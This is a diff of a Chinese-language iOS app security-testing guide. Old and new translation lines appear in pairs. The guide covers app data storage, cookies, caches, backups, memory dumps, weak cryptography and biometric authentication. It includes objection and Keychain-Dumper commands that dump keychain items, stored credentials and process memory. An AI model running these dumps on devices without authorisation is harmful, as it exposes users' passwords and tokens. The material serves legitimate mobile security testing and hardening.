- 这是之前在IPA中看到的应用程序包,它包含了基本的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||||
- 这是在IPA中看到的应用程序包,包含必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||||
- 该目录对用户可见,但**用户无法写入**。
|
||||
- 此目录中的内容**不被备份**。
|
||||
- 此目录中的内容**不备份**。
|
||||
- 此文件夹的内容用于**验证代码签名**。
|
||||
|
||||
**Data directory:**
|
||||
|
||||
- **Documents/**
|
||||
- 包含所有用户生成的数据。应用程序最终用户启动此数据的创建。
|
||||
- 包含所有用户生成的数据。应用程序最终用户发起此数据的创建。
|
||||
- 对用户可见,**用户可以写入**。
|
||||
- 此目录中的内容**被备份**。
|
||||
- 此目录中的内容**备份**。
|
||||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
- **Library/**
|
||||
- 包含所有**非用户特定**的**文件**,如**缓存**、**偏好设置**、**cookies**和属性列表(plist)配置文件。
|
||||
@ -245,12 +245,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **Library/Caches/**
|
||||
- 包含**半持久的缓存文件**。
|
||||
- 对用户不可见,**用户无法写入**。
|
||||
- 此目录中的内容**不被备份**。
|
||||
- 此目录中的内容**不备份**。
|
||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||
- **Library/Application Support/**
|
||||
- 包含运行应用程序所需的**持久****文件**。
|
||||
- 对**用户不可见**,用户无法写入。
|
||||
- 此目录中的内容**被备份**。
|
||||
- **对用户不可见**,用户无法写入。
|
||||
- 此目录中的内容**备份**。
|
||||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
- **Library/Preferences/**
|
||||
- 用于存储可以**在应用程序重启后仍然存在**的属性。
|
||||
@ -259,11 +259,11 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **tmp/**
|
||||
- 使用此目录写入**临时文件**,这些文件在应用程序启动之间不需要持久存在。
|
||||
- 包含非持久的缓存文件。
|
||||
- 对用户**不可见**。
|
||||
- 此目录中的内容不被备份。
|
||||
- **对用户不可见**。
|
||||
- 此目录中的内容不备份。
|
||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||
|
||||
让我们仔细看看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录中(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
让我们仔细看看iGoat-Swift的应用程序包(.app)目录,位于包目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -301,7 +301,7 @@ otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
**反汇编二进制文件**
|
||||
|
||||
反汇编文本段:
|
||||
反汇编文本部分:
|
||||
```bash
|
||||
otool -tV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -355,7 +355,7 @@ double _field1;
|
||||
double _field2;
|
||||
};
|
||||
```
|
||||
然而,反汇编二进制文件的最佳选项是:[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。
|
||||
然而,反汇编二进制文件的最佳选择是:[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。
|
||||
|
||||
## 数据存储
|
||||
|
||||
@ -366,20 +366,20 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> 以下存储信息的地方应在 **安装应用程序后立即** 检查,**在检查应用程序的所有功能后**,甚至在 **从一个用户注销并登录到另一个用户后**。\
|
||||
> 目标是找到应用程序的 **未保护的敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
||||
> 以下存储信息的地方应在**安装应用程序后立即**检查,**在检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**检查。\
|
||||
> 目标是找到应用程序的**未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到 **敏感信息**。建议在安装应用程序后以及在密集使用后检查这些文件,以查看是否写入了新数据。
|
||||
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后以及在密集使用后检查这些文件,以查看是否写入了新数据。
|
||||
|
||||
在 plist 文件中持久化数据的最常见方式是通过使用 **NSUserDefaults**。此 plist 文件保存在应用程序沙箱中的 **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统交互的编程接口。默认系统允许应用程序根据 **用户偏好** 自定义其行为。通过 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将 **数据** 存储在 **plist** **文件** 中,但旨在用于少量数据。
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。通过 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中,但旨在用于少量数据。
|
||||
|
||||
此数据不能再通过受信任的计算机直接访问,但可以通过执行 **备份** 进行访问。
|
||||
此数据不能再通过受信任的计算机直接访问,但可以通过执行**备份**进行访问。
|
||||
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` 来 **转储** 使用 **`NSUserDefaults`** 保存的信息。
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**保存的信息。
|
||||
|
||||
要找到应用程序使用的所有 plist,您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
||||
```bash
|
||||
@ -391,7 +391,7 @@ find ./ -name "*.plist"
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**对于Linux用户:** 首先安装 `libplist-utils`,然后使用 `plistutil` 转换您的文件:
|
||||
**对于 Linux 用户:** 首先安装 `libplist-utils`,然后使用 `plistutil` 转换您的文件:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身不是数据库。\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身并不是数据库。\
|
||||
CoreData 默认不加密其数据。然而,可以向 CoreData 添加额外的加密层。有关更多详细信息,请参见 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)。
|
||||
|
||||
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
||||
@ -479,17 +479,17 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite 数据库
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一个 **轻量级** 和 **嵌入式** 数据库引擎,遵循 **文档导向** (NoSQL) 方法。它旨在原生支持 **iOS** 和 **macOS**,提供无缝同步数据的能力。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一个 **轻量级** 和 **嵌入式** 的数据库引擎,遵循 **文档导向** (NoSQL) 方法。它旨在原生支持 **iOS** 和 **macOS**,提供无缝同步数据的能力。
|
||||
|
||||
要识别设备上潜在的 Couchbase 数据库,应检查以下目录:
|
||||
要识别设备上的潜在 Couchbase 数据库,应检查以下目录:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOS 将应用的 cookies 存储在每个应用文件夹内的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
||||
iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
||||
|
||||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`**。\
|
||||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`。**\
|
||||
**您还可以使用 objection 将这些文件转换为 JSON 格式并检查数据。**
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
@ -508,31 +508,31 @@ iOS 将应用的 cookies 存储在每个应用文件夹内的 **`Library/Cookies
|
||||
```
|
||||
### Cache
|
||||
|
||||
默认情况下,NSURLSession 将数据存储在 **Cache.db** 数据库中,例如 **HTTP 请求和响应**。如果令牌、用户名或任何其他敏感信息被缓存,则该数据库可能包含 **敏感数据**。要查找缓存的信息,请打开应用的数据目录 (`/var/mobile/Containers/Data/Application/<UUID>`) 并转到 `/Library/Caches/<Bundle Identifier>`。**WebKit 缓存也存储在 Cache.db** 文件中。**Objection** 可以通过命令 `sqlite connect Cache.db` 打开并与数据库交互,因为它是一个 **普通的 SQLite 数据库**。
|
||||
默认情况下,NSURLSession将数据(例如**HTTP请求和响应)存储在Cache.db**数据库中。此数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息已被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`)并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
|
||||
|
||||
**建议禁用缓存这些数据**,因为它可能包含请求或响应中的敏感信息。以下列表显示了实现此目的的不同方法:
|
||||
**建议禁用缓存此数据**,因为它可能包含请求或响应中的敏感信息。以下列表显示了实现此目的的不同方法:
|
||||
|
||||
1. 建议在注销后删除缓存的响应。这可以通过 Apple 提供的方法 [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) 来完成。您可以按如下方式调用此方法:
|
||||
1. 建议在注销后删除缓存的响应。这可以通过Apple提供的方法[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)来完成。您可以按如下方式调用此方法:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
此方法将从 Cache.db 文件中删除所有缓存的请求和响应。
|
||||
此方法将从Cache.db文件中删除所有缓存的请求和响应。
|
||||
|
||||
2. 如果您不需要使用 cookie 的优势,建议仅使用 URLSession 的 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 配置属性,这将禁用保存 cookie 和缓存。
|
||||
2. 如果您不需要使用cookie的优势,建议仅使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性,这将禁用保存cookie和缓存。
|
||||
|
||||
[Apple 文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
[Apple文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`一个短暂的会话配置对象类似于默认的会话配置(见 default),不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反,与会话相关的数据存储在 RAM 中。短暂会话写入磁盘的唯一时间是当您告诉它将 URL 的内容写入文件时。`
|
||||
`一个短暂的会话配置对象类似于默认的会话配置(见default),不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反,与会话相关的数据存储在RAM中。短暂会话写入数据到磁盘的唯一时间是当您告诉它将URL的内容写入文件时。`
|
||||
|
||||
3. 通过将缓存策略设置为 [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) 也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
|
||||
### Snapshots
|
||||
|
||||
每当您按下主屏幕按钮时,iOS **会拍摄当前屏幕的快照**,以便能够以更平滑的方式过渡到应用程序。然而,如果当前屏幕上存在 **敏感** **数据**,它将被 **保存** 在 **图像** 中(该图像 **在重启后仍然存在**)。这些快照您也可以通过双击主屏幕在应用之间切换访问。
|
||||
每当您按下主屏幕按钮时,iOS **会拍摄当前屏幕的快照**,以便能够更顺畅地过渡到应用程序。然而,如果当前屏幕上存在**敏感** **数据**,它将被**保存**在**图像**中(该图像**在重启后仍然存在**)。这些快照您也可以通过双击主屏幕在应用之间切换访问。
|
||||
|
||||
除非 iPhone 已越狱,否则 **攻击者** 需要 **访问** **未解锁** 的 **设备** 才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于 `Library/Caches/Snapshots/` 或 `Library/SplashBoard/Snapshots` 文件夹中(受信任的计算机无法从 iOS 7.0 访问文件系统)。
|
||||
除非iPhone越狱,否则**攻击者**需要**访问**未解锁的**设备**才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
|
||||
|
||||
防止这种不良行为的一种方法是在使用 `ApplicationDidEnterBackground()` 函数拍摄快照之前放置一个空白屏幕或删除敏感数据。
|
||||
防止这种不良行为的一种方法是在使用`ApplicationDidEnterBackground()`函数拍摄快照之前放置一个空白屏幕或删除敏感数据。
|
||||
|
||||
以下是设置默认屏幕截图的示例修复方法。
|
||||
|
||||
@ -570,27 +570,27 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
### Keychain
|
||||
|
||||
用于访问和管理 iOS 密钥链的工具,如 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper),适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection) 提供命令 `ios keychain dump` 用于类似目的。
|
||||
用于访问和管理 iOS 密钥链的工具,如 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper),适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 以实现类似目的。
|
||||
|
||||
#### **存储凭据**
|
||||
|
||||
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,使用以下 Swift 代码:
|
||||
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,可以使用以下 Swift 代码:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
要提取这些存储的凭据,使用 Objection 的命令 `ios nsurlcredentialstorage dump`。
|
||||
要提取这些存储的凭据,可以使用 Objection 的命令 `ios nsurlcredentialstorage dump`。
|
||||
|
||||
## **自定义键盘和键盘缓存**
|
||||
|
||||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在敏感信息输入时使用自定义键盘。
|
||||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在输入敏感信息时使用自定义键盘。
|
||||
|
||||
**安全建议:**
|
||||
|
||||
- 建议禁用第三方键盘以增强安全性。
|
||||
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会在位于 `Library/Keyboard/{locale}-dynamic-text.dat` 或 `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中存储敏感信息。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
|
||||
- 拦截网络流量可以揭示自定义键盘是否远程传输按键。
|
||||
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会将敏感信息存储在位于 `Library/Keyboard/{locale}-dynamic-text.dat` 或 `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
|
||||
- 拦截网络流量可以揭示自定义键盘是否正在远程传输按键。
|
||||
|
||||
### **防止文本字段缓存**
|
||||
|
||||
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **日志**
|
||||
|
||||
调试代码通常涉及使用**日志记录**。这存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,这带来了敏感数据泄露的风险。**现在,应用程序仅限于访问自己的日志**。
|
||||
调试代码通常涉及使用**日志记录**。这存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,这带来了敏感数据泄露的风险。**现在,应用程序只能访问自己的日志**。
|
||||
|
||||
尽管有这些限制,**具有物理访问权限的攻击者**仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。需要注意的是,日志在应用程序卸载后仍然保留在磁盘上。
|
||||
尽管有这些限制,**具有物理访问权限**的攻击者仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
|
||||
|
||||
为了降低风险,建议**彻底与应用程序互动**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
|
||||
为了降低风险,建议**彻底与应用程序交互**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
|
||||
|
||||
在审查应用程序的源代码以查找潜在泄露时,查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`的**预定义**和**自定义日志语句**,以及任何提及`Logging`或`Logfile`的自定义实现。
|
||||
在检查应用程序源代码以寻找潜在泄露时,查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`的**预定义**和**自定义日志记录语句**,以及任何提到`Logging`或`Logfile`的自定义实现。
|
||||
|
||||
### **监控系统日志**
|
||||
|
||||
@ -634,11 +634,11 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
跟随命令观察日志活动,这对于诊断问题或识别日志中的潜在数据泄漏非常宝贵。
|
||||
跟随观察日志活动的命令,这对于诊断问题或识别日志中的潜在数据泄漏非常宝贵。
|
||||
|
||||
## 备份
|
||||
|
||||
**自动备份功能**集成在iOS中,通过iTunes(最多支持macOS Catalina)、Finder(从macOS Catalina开始)或iCloud便于创建设备数据副本。这些备份几乎涵盖所有设备数据,排除高度敏感的元素,如Apple Pay详细信息和Touch ID配置。
|
||||
**自动备份功能**集成在iOS中,通过iTunes(直到macOS Catalina)、Finder(从macOS Catalina开始)或iCloud方便地创建设备数据副本。这些备份几乎涵盖所有设备数据,排除高度敏感的元素,如Apple Pay详细信息和Touch ID配置。
|
||||
|
||||
### 安全风险
|
||||
|
||||
@ -646,7 +646,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### 从备份中排除文件
|
||||
|
||||
`Documents/`和`Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`来排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
|
||||
`Documents/`和`Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`来排除特定文件或目录不被备份。这一做法对于保护敏感数据不被包含在备份中至关重要。
|
||||
|
||||
### 测试漏洞
|
||||
|
||||
@ -665,7 +665,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
对于处理加密备份,DinoSec的GitHub仓库中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**,可能会有用,但可能需要进行调整以兼容最新的iTunes/Finder版本。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问密码保护备份中文件的另一个选项。
|
||||
对于处理加密备份,DinoSec的GitHub仓库中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**,可能会有用,但可能需要进行调整以兼容最新的iTunes/Finder版本。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问密码保护备份中文件的另一种选择。
|
||||
|
||||
### 修改应用行为
|
||||
|
||||
@ -673,11 +673,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## 关于敏感数据内存测试的总结
|
||||
|
||||
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的主要方法有两种:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||||
在处理存储在应用内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的两种主要方法是:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||||
|
||||
## **检索和分析内存转储**
|
||||
|
||||
对于越狱和非越狱设备,像[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)这样的工具允许转储应用程序的进程内存。一旦转储,分析这些数据需要各种工具,具体取决于您要搜索的信息的性质。
|
||||
对于越狱和非越狱设备,像[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)这样的工具允许转储应用的进程内存。一旦转储,分析这些数据需要各种工具,具体取决于您要搜索的信息的性质。
|
||||
|
||||
要从内存转储中提取字符串,可以使用`strings`或`rabin2 -zz`等命令:
|
||||
```bash
|
||||
@ -700,39 +700,39 @@ $ r2 <name_of_your_dump_file>
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## 破损的加密技术
|
||||
## Broken Cryptography
|
||||
|
||||
### 不良的密钥管理流程
|
||||
### Poor Key Management Processes
|
||||
|
||||
一些开发者将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该的,因为一些反向工程可能允许攻击者提取机密信息。
|
||||
|
||||
### 使用不安全和/或过时的算法
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希,并加盐。
|
||||
|
||||
### 检查
|
||||
### Check
|
||||
|
||||
主要的检查是找出是否可以在代码中找到**硬编码**的密码/秘密,或者这些是否是**可预测**的,以及代码是否使用某种**弱**的**加密**算法。
|
||||
主要检查是查找代码中是否存在**硬编码**的密码/秘密,或者这些是否**可预测**,以及代码是否使用某种**弱**的**加密**算法。
|
||||
|
||||
有趣的是,你可以使用**objection**自动**监控**一些**加密****库**,方法是:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
有关 iOS 加密 API 和库的 **更多信息**,请访问 [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
对于有关 iOS 加密 API 和库的 **更多信息**,请访问 [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## 本地身份验证
|
||||
|
||||
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
|
||||
|
||||
Apple 的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框并安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||||
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框的实现和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||||
|
||||
要集成 Touch ID/Face ID,开发者有两个 API 选择:
|
||||
|
||||
- **`LocalAuthentication.framework`** 用于高层次的用户身份验证,而不访问生物识别数据。
|
||||
- **`Security.framework`** 用于低层次的钥匙串服务访问,通过生物识别身份验证保护秘密数据。各种 [开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) 使钥匙串访问更简单。
|
||||
- **`Security.framework`** 用于低层次的钥匙串服务访问,通过生物识别认证保护秘密数据。各种 [开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) 使钥匙串访问更简单。
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而,`LocalAuthentication.framework` 和 `Security.framework` 都存在漏洞,因为它们主要返回布尔值,而不传输用于身份验证过程的数据,使其容易被绕过(参见 [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
> 然而,`LocalAuthentication.framework` 和 `Security.framework` 都存在漏洞,因为它们主要返回布尔值而不传输用于身份验证过程的数据,使其容易被绕过(参见 [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
|
||||
### 实现本地身份验证
|
||||
|
||||
@ -741,15 +741,15 @@ Apple 的 [**本地身份验证框架**](https://developer.apple.com/documentati
|
||||
- **`deviceOwnerAuthentication`**:提示输入 Touch ID 或设备密码,如果两者都未启用则失败。
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**:仅提示输入 Touch ID。
|
||||
|
||||
成功的身份验证通过 **`evaluatePolicy`** 的布尔返回值表示,突显出潜在的安全缺陷。
|
||||
成功的身份验证通过 **`evaluatePolicy`** 的布尔返回值指示,突显出潜在的安全缺陷。
|
||||
|
||||
### 使用钥匙串进行本地身份验证
|
||||
|
||||
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,例如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别身份验证,如 Touch ID。
|
||||
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,例如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
|
||||
|
||||
钥匙串提供了设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
|
||||
|
||||
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是已配置设备密码。
|
||||
以下是 Swift 和 Objective-C 中的代码示例,演示如何利用这些安全功能将字符串保存到钥匙串并从中检索。示例具体展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
|
||||
|
||||
### 主机名检查
|
||||
|
||||
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签署,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
|
||||
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名使用 Burp 创建新证书**。如果应用程序仍然可以正常工作,那么它就存在漏洞。
|
||||
